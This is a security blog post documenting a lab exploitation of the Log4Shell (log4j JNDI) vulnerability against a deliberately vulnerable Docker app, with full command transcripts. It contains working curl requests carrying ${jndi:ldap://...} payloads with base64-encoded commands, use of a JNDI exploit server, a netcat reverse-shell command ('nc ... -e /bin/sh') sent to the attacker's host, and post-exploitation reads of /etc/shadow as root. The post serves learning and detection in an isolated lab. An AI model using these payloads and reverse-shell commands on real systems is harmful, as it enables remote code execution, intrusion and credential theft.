Friday, December 24, 2021

Continuing Log4-Shell - Understanding/Testing The Exploit

Now that I have an understanding of the vulnerability, time to look at its exploitation.

First up, unzip the vulnerable app.

┌──(root💀securitynik)-[~/log4j]
└─# unzip log4shell-vulnerable-app-main.zip
Archive:  log4shell-vulnerable-app-main.zip
561f11d5d934725d48028ac04db4fd0b6c18eea0
   creating: log4shell-vulnerable-app-main/
 extracting: log4shell-vulnerable-app-main/.gitignore  
  inflating: log4shell-vulnerable-app-main/Dockerfile  
  inflating: log4shell-vulnerable-app-main/LICENSE  
  inflating: log4shell-vulnerable-app-main/README.md  
  inflating: log4shell-vulnerable-app-main/build.gradle  
   creating: log4shell-vulnerable-app-main/gradle/
   creating: log4shell-vulnerable-app-main/gradle/wrapper/
  inflating: log4shell-vulnerable-app-main/gradle/wrapper/gradle-wrapper.jar  
  inflating: log4shell-vulnerable-app-main/gradle/wrapper/gradle-wrapper.properties  
  inflating: log4shell-vulnerable-app-main/gradlew  
  inflating: log4shell-vulnerable-app-main/gradlew.bat  
  inflating: log4shell-vulnerable-app-main/screenshot.png  
 extracting: log4shell-vulnerable-app-main/settings.gradle  
   creating: log4shell-vulnerable-app-main/src/
   creating: log4shell-vulnerable-app-main/src/main/
   creating: log4shell-vulnerable-app-main/src/main/java/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/
  inflating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java  
  inflating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java  
   creating: log4shell-vulnerable-app-main/src/main/resources/
 extracting: log4shell-vulnerable-app-main/src/main/resources/application.properties  

Install docker on Kali.

┌──(root💀securitynik)-[~/log4j]
└─# apt install docker.io   

Switch into the directory containing the vulnerable app, listing the files and building the docker image.

┌──(root💀securitynik)-[~/log4j]
└─# cd log4shell-vulnerable-app-main/

┌──(root💀securitynik)-[~/log4j/log4shell-vulnerable-app-main]
└─# ls                                                                                                                                                           
build.gradle  Dockerfile  gradle  gradlew  gradlew.bat  LICENSE  README.md  screenshot.png  settings.gradle  src

┌──(root💀securitynik)-[~/log4j/log4shell-vulnerable-app-main]
└─# docker build . -t vulnerable-app                                                                                                                             
Sending build context to Docker daemon    298kB
Step 1/9 : FROM gradle:7.3.1-jdk17 AS builder
7.3.1-jdk17: Pulling from library/gradle
7b1a6ab2e44d: Pull complete 
8329695590e8: Pull complete 
9bd6da4468db: Pull complete 
8e07f21656cb: Pull complete 
ca055f63c612: Pull complete 
8327f35ed409: Pull complete 
9fb8c764d49c: Pull complete 
Digest: sha256:4c6efa1d6a79c15a6a03f8396f0779f294a647ee75d325ae159fef9c778e35ad
Status: Downloaded newer image for gradle:7.3.1-jdk17
 ---> 292487763bf2
Step 2/9 : COPY --chown=gradle:gradle . /home/gradle/src
 ---> b0d3b2dd81fb
Step 3/9 : WORKDIR /home/gradle/src
 ---> Running in 419653a8727a
Removing intermediate container 419653a8727a
 ---> 1787e4dde7be
Step 4/9 : RUN gradle bootJar --no-daemon
 ---> Running in f11af088f5bb

Welcome to Gradle 7.3.1!

Here are the highlights of this release:
 - Easily declare new test suites in Java projects
 - Support for Java 17
 - Support for Scala 3

For more details see https://docs.gradle.org/7.3.1/release-notes.html

To honour the JVM settings for this build a single-use Daemon process will be forked. See https://docs.gradle.org/7.3.1/userguide/gradle_daemon.html#sec:disabling_the_daemon.
Daemon will be stopped at the end of the build 
> Task :compileJava
> Task :processResources
> Task :classes
> Task :bootJarMainClassName
> Task :bootJar

BUILD SUCCESSFUL in 30s
4 actionable tasks: 4 executed
Removing intermediate container f11af088f5bb
 ---> 904932054757
Step 5/9 : FROM openjdk:8u181-jdk-alpine
8u181-jdk-alpine: Pulling from library/openjdk
cd784148e348: Pull complete 
35920a071f91: Pull complete 
f8a5c2c61767: Pull complete 
Digest: sha256:d146ac4892198bfef92e2d246e5b2b17894056ce9534ae0a2837c8d2920c2053
Status: Downloaded newer image for openjdk:8u181-jdk-alpine
 ---> 04060a9dfc39
Step 6/9 : EXPOSE 8080
 ---> Running in 98958acd0ceb
Removing intermediate container 98958acd0ceb
 ---> b132dc3d58cd
Step 7/9 : RUN mkdir /app
 ---> Running in aa5e1837a83b
Removing intermediate container aa5e1837a83b
 ---> ca1b50dd6063
Step 8/9 : COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar
 ---> df7b6fd4bf99
Step 9/9 : CMD ["java", "-jar", "/app/spring-boot-application.jar"]
 ---> Running in dfe469c6d77b
Removing intermediate container dfe469c6d77b
 ---> 31215f4e8186
Successfully built 31215f4e8186
Successfully tagged vulnerable-app:latest

Verifying the image was created

┌──(root💀securitynik)-[~/log4j]
└─# docker images
REPOSITORY       TAG                IMAGE ID       CREATED          SIZE
vulnerable-app   latest             31215f4e8186   46 minutes ago   121MB

With the app built, time to run it.

┌──(root💀securitynik)-[~/log4j/log4shell-vulnerable-app-main]
└─# docker run  -p 8080:8080 --name log4shell-vuln-app vulnerable-app

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::                (v2.6.1)

2021-12-20 17:12:48.314  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : Starting VulnerableAppApplication using Java 1.8.0_181 on 493de7648f6c with PID 1 (/app/spring-boot-application.jar started by root in /)
2021-12-20 17:12:48.327  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : No active profile set, falling back to default profiles: default
2021-12-20 17:12:49.262  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat initialized with port(s): 8080 (http)
2021-12-20 17:12:49.280  INFO 1 --- [           main] o.a.c.c.StandardService                  : Starting service [Tomcat]
2021-12-20 17:12:49.280  INFO 1 --- [           main] o.a.c.c.StandardEngine                   : Starting Servlet engine: [Apache Tomcat/9.0.55]
2021-12-20 17:12:49.341  INFO 1 --- [           main] o.a.c.c.C.[.[.[/]                        : Initializing Spring embedded WebApplicationContext
2021-12-20 17:12:49.342  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 950 ms
2021-12-20 17:12:49.706  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat started on port(s): 8080 (http) with context path ''
2021-12-20 17:12:49.712  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : Started VulnerableAppApplication in 1.803 seconds (JVM running for 2.612)

With the app running, I downloaded and extracted the Remote Code Execution (RCE) Proof of Concept Code (Poc).

┌──(root💀securitynik)-[~/log4j]
└─# unzip Log4shell_JNDIExploit-main.zip 
Archive:  Log4shell_JNDIExploit-main.zip
9f56d8c12e23aee9247408e1b475aa2852726a5e
   creating: Log4shell_JNDIExploit-main/
 extracting: Log4shell_JNDIExploit-main/JNDIExploit.v1.2.zip  
  inflating: Log4shell_JNDIExploit-main/README.md  

One more extracting

┌──(root💀securitynik)-[~/log4j]
└─# cd Log4shell_JNDIExploit-main/

┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# ls
JNDIExploit.v1.2.zip  README.md

┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# unzip JNDIExploit.v1.2.zip 
Archive:  JNDIExploit.v1.2.zip
  inflating: JNDIExploit-1.2-SNAPSHOT.jar  
   creating: lib/
  inflating: lib/commons-beanutils-1.8.2.jar  
  inflating: lib/commons-beanutils-1.9.2.jar  

Looking at the help.

┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --help
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help

As always, I want to capture the traffic to see what is going on also from the detection and response perspective. As a result, I have the following tcpdump filter.

┌──(root💀securitynik)-[~/log4j]
└─# tcpdump --interface docker0 'tcp port(389 or 443)' -w log4j-docker0.pcapng --print
tcpdump: listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Start the exploit

┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --ip 192.168.56.102 --httpPort 443 --ldapPort 389
[+] LDAP Server Start Listening on 389...
[+] HTTP Server Start Listening on 443...

Leveraging the ss command to confirm ports 389 and 443 are listening for the exploit, as well as port 8080 for the vulnerable app.

┌──(root💀securitynik)-[~/log4j]
└─# ss --numeric --listening --tcp --process
State    Recv-Q   Send-Q      Local Address:Port       Peer Address:Port   Process                                     
LISTEN   0        4096              0.0.0.0:8080            0.0.0.0:*       users:(("docker-proxy",pid=124989,fd=4))   
LISTEN   0        128                     *:389                   *:*       users:(("java",pid=125303,fd=10))          
LISTEN   0        4096                 [::]:8080               [::]:*       users:(("docker-proxy",pid=124994,fd=4))   
LISTEN   0        50                      *:443                   *:*       users:(("java",pid=125303,fd=11))    

Looking at it from the docker perspective

┌──(root💀securitynik)-[~/log4j]
└─# docker container ls
CONTAINER ID   IMAGE            COMMAND                  CREATED          STATUS          PORTS                                       NAMES
00fc730a324d   vulnerable-app   "java -jar /app/spri…"   14 minutes ago   Up 14 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   log4shell-vulnerable-app

With the server running, time to trigger the exploit using curl.

┌──(root💀securitynik)-[~/log4j]
└─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' --header 'User-Agent: SecurityNik Testing'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> Accept: */*
> X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
> User-Agent: SecurityNik Testing
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 18:07:32 GMT
< 
* Connection #0 to host 127.0.0.1 left intact
Hello, world!

Looking at the web (TCP 443) and LDAP (TCP/389) server.

┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --ip 192.168.56.102 --httpPort 443 --ldapPort 389
[+] LDAP Server Start Listening on 389...
[+] HTTP Server Start Listening on 443...

[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://192.168.56.102:443/ExploitQ8v7ygBW4i.class
[+] New HTTP Request From /172.17.0.2:51832  /ExploitQ8v7ygBW4i.class
[+] Receive ClassRequest: ExploitQ8v7ygBW4i.class
[+] Response Code: 200

We can see above, the command "touch /tmp/pwned". We can also confirm the base64 encoded content in the LDAP query.

┌──(root💀securitynik)-[~/log4j]
└─# echo dG91Y2ggL3RtcC9wd25lZAo= | base64 --decode 
touch /tmp/pwned

Looking at the log information from the vulnerable  app.

2021-12-20 18:07:32,205 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitQ8v7ygBW4i cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="
...

2021-12-20 18:07:32.012  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}

verifying the file pwned was created in the /tmp directory

┌──(root💀securitynik)-[~/log4j]
└─# docker exec log4shell-vulnerable-app ls -l /tmp
total 12
drwxr-xr-x    2 root     root          4096 Dec 20 18:01 hsperfdata_root
-rw-r--r--    1 root     root             0 Dec 20 18:07 pwned
drwx------    2 root     root          4096 Dec 20 18:01 tomcat-docbase.8080.6478445071329797321
drwx------    3 root     root          4096 Dec 20 18:01 tomcat.8080.4249672987009843312

Checking to see if nc is on the system, so as to live off the land (LOL). LOL is all about using binaries that are native to the system, to perform malicious tasks. No need to download additional tools.

First up, base64 encode the string which nc to look for nc.

┌──(root💀securitynik)-[~/log4j]
└─# echo "which nc > /tmp/pwned" | base64
d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==

Modify my command line, with the new base64 encoded content.

┌──(root💀securitynik)-[~/log4j]
└─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}' --header 'User-Agent: SecurityNik Testing'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> Accept: */*
> X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}
> User-Agent: SecurityNik Testing
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 18:39:14 GMT
< 
* Connection #0 to host 127.0.0.1 left intact
Hello, world!

Looking at the java application log

2021-12-20 18:39:14.662  INFO 1 --- [nio-8080-exec-4] HelloWorld                               : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}

Looking at the exploit 

[+] Received LDAP Query: Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
[+] Paylaod: command
[+] Command: which nc > /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg== with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg== redirecting to http://192.168.56.102:443/ExploitSMMZvT8GXL.class
[+] New HTTP Request From /172.17.0.2:51834  /ExploitSMMZvT8GXL.class
[+] Receive ClassRequest: ExploitSMMZvT8GXL.class
[+] Response Code: 200

Looking at the entry written to the file.

┌──(root💀securitynik)-[~/log4j]
└─# docker exec log4shell-vulnerable-app cat  /tmp/pwned
/usr/bin/nc

Now that we know nc is installed. on the system, can we get this vulnerable app to send us out a shell? Let's try.

Setup our ncat listener and confirming via ss that it is listening.

┌──(root💀securitynik)-[~/log4j]
└─# ncat --verbose --verbose --listen 0.0.0.0 80 -4  --keep-open
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:80

┌──(root💀securitynik)-[~]
└─# ss --numeric --listening --tcp --process
State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   Process                                     
LISTEN   0        10               0.0.0.0:80            0.0.0.0:*       users:(("ncat",pid=151194,fd=3))    
...

Setup a tcpdump to capture the traffic on port 80. Primary reason for a new filter is because the previous filter only focused on ports 389 and 443. We can then use mergecap to merge the two pcaps later.

┌──(root💀securitynik)-[~/log4j]
└─# tcpdump -nn --interface docker0 "port(80 or 389 or 443 or 8080)" -w log4-shell.pcapng --print
tcpdump: listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Base64 encode our payload

┌──(root💀securitynik)-[~/log4j]
└─# echo "nc 192.168.56.102 80 -e /bin/sh -vvv" | base64
bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==

With our command encoded, we execute curl again.

┌──(root💀securitynik)-[~/log4j]
└─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}' --header 'User-Agent: SecurityNik Testing'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> Accept: */*
> X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}
> User-Agent: SecurityNik Testing
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 19:00:58 GMT
< 
* Connection #0 to host 127.0.0.1 left intact
Hello, world!

Looks like nothing exciting happened above. Looking at the log from the vulnerable app.

2021-12-20 19:00:58.961  INFO 1 --- [nio-8080-exec-5] HelloWorld                               : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}

Looking at our exploit server output.

[+] Received LDAP Query: Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==
[+] Paylaod: command
[+] Command: nc 192.168.56.102 80 -e /bin/sh -vvv

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== redirecting to http://192.168.56.102:443/Exploit6HHc3BcVzI.class
[+] New HTTP Request From /172.17.0.2:51836  /Exploit6HHc3BcVzI.class
[+] Receive ClassRequest: Exploit6HHc3BcVzI.class
[+] Response Code: 200

So far it does not look like anything exciting happened. Looking at my ncat session.

┌──(root💀securitynik)-[~/log4j]
└─# ncat --verbose --verbose --listen 0.0.0.0 80 -4  --keep-open
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:37957.


Above says a connection came in from the report host. With the screen being blank, it looks like it was just the connection and that's it. Let's run a few commands to confirm we have a shell.

ls
app
bin
dev
etc
...

whoami
root

uname --all
Linux 00fc730a324d 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 Linux

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

cat /etc/shadow
root:::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
....

We do have a shell. That shell is also has root level privileges. The fact that we have root level privileges on this host, means we can as do anything we want with the system.

Ok. I believe I have a better understanding of the issue now from both the vulnerability and exploit perspective. Additionally, I have a better understanding of how threat actors are using this PoC to  perform remote code execution to gain access to the vulnerable system. Next up, time to analyze the packets we captured.


No comments:

Post a Comment